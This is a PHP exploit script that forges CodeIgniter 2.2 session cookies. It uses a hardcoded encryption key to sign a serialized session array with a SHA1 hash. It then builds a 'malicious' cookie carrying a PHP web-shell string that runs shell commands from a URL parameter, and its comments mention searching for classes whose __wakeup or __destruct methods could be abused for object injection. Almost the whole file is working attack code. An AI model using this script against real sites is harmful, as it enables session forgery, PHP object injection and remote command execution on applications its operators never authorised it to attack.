<?php
// CI 2.2 Session Cookie Forge
// sess_encrypt_cookie = FALSE means just serialized + HMAC

$encryption_key = 'jsadjas^&**&@kl;lijiash';

// CI session structure
$session = array(
    'session_id' => '1234567890abcdef1234567890abcdef',
    'ip_address' => '169.58.120.214',
    'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'last_activity' => time(),
    'user_data' => ''
);

// Serialize and create HMAC
$serialized = serialize($session);
$hmac = sha1($serialized . $encryption_key);
$cookie = urlencode($serialized) . $hmac;

echo "Session Cookie:\n";
echo $cookie . "\n\n";

// Now try creating a malicious object
// We need to find a class with __destruct or __wakeup that does something dangerous

// Example payload with potentially exploitable objects
// Since sess_encrypt_cookie=FALSE, the cookie is just serialized PHP + SHA1 HMAC

// Try injecting a simple test object
$malicious_session = array(
    'session_id' => '1234567890abcdef1234567890abcdef',
    'ip_address' => '169.58.120.214', 
    'user_agent' => 'test',
    'last_activity' => time(),
    'user_data' => '',
    'x' => '<?php system($_GET["c"]); ?>'  // Try to inject PHP code
);

$serialized_mal = serialize($malicious_session);
$hmac_mal = sha1($serialized_mal . $encryption_key);
$cookie_mal = urlencode($serialized_mal) . $hmac_mal;

echo "Malicious Cookie (code in session data):\n";
echo $cookie_mal . "\n";
?>